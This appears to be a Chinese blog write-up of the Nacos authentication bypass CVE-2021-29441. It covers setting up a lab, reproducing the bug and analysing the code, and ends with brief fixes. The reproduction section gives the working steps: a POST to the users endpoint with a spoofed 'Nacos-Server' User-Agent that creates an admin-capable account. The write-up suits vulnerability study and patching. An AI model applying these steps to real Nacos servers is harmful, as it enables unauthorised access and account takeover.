Featured image of post 【Nacos】CVE-2021-29441 Nacos 权限认证绕过漏洞

【Nacos】CVE-2021-29441 Nacos 权限认证绕过漏洞

文章共865字

1. 漏洞概述

2020年12月29日,Nacos官⽅在github发布的issue中披露Alibaba Nacos 存在⼀个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进⾏任意操作,包括创建新⽤户并进⾏登录后操作。

2. 影响版本

Nacos <= 2.0.0-ALPHA.1

3. 环境搭建

Nacos下载地址(github):

1
https: github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

Windows搭建:

  1. 进入github下载地址后下载版本:
1
nacos-server-2.0.0-ALPHA.1.zip
  1. 解压出来后进入bin目录:
1
D:\TargetDrone\nacos-server-2.0.0-ALPHA.1\nacos-server-2.0.0-ALPHA.1\nacos\bin
  1. 输入在当前文件夹下使用打开cmd窗口,输入命令:
1
.\startup.cmd -m standalone
  1. 然后访问网站:
1
2
http://192.168.31.134:8848/nacos/
192.168.31.134:自己的内网IP地址

image.png
5. 默认账号密码

1
 nacos/nacos

即可。

4. 漏洞复现

  1. 漏洞路径
1
http: your-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

image.png
2. 虽然有password了, 但是是加盐过的,解密不了,从上图可以发现,⽬前有⼀个⽤户nacos 漏洞利⽤,访问

1
http: your-ip:8848/nacos/v1/auth/users

image.png
PSOT传参:

1
username=test1&password=test1

UA 头:

1
 Nacos-Server 

发送POST请求,返回码200,创建⽤户成功~!
image.png
返回Nacos登录界面:
image.png

使用账号/密码:

1
test1/test1

image.png
关闭环境:

1
./shutdown.sh

5. 漏洞分析

Nacos-Server是⽤来进⾏服务间的通信的⽩名单。⽐如服务A要访问服务B,如何知道服务A是服务,只需要在服务A访问服务B的时候UA上写成 Nacos-Server 即可。
正因为这样,所以当我们UA恶意改为Nacos-Server的时候,就会被误以为是服务间的通信,因此在⽩名单当中,绕过的认证。
这⾥⽤的是nacos-2.0.0-ALPHA.1的代码进⾏分析
关键代码在该⽂件下:

1
2
/nacos-2.0.0-ALPHA.1/naming/src/main/java/com/alibaba/nacos/naming/web/TrafficRevise
Filter.java

image.png
TrafficReviseFilter继承了Filter⽤来处理请求,⽽⾥⾯的doFilter的就很明确了。注释中写道,当接收到其他节点服务的请求时应该被通过,如何验证是其他服务。
就是很简单的⼀个对于UA的⼀个判断逻辑
这个Constants.NACOS_SERVER_HEADER跟踪⼀下,正是Nacos-Server 经过这⼀层的验证,那么则进⼊到filterChain 过滤器链中的下⼀个filter过滤器,继续接下来的请求。

6. 漏洞修复

若业务环境允许,使⽤⽩名单限制相关web项⽬的访问来降低⻛险。 官⽅已发布最新安全版本,请及时下载升级⾄安全版本。

站点已运行计算中...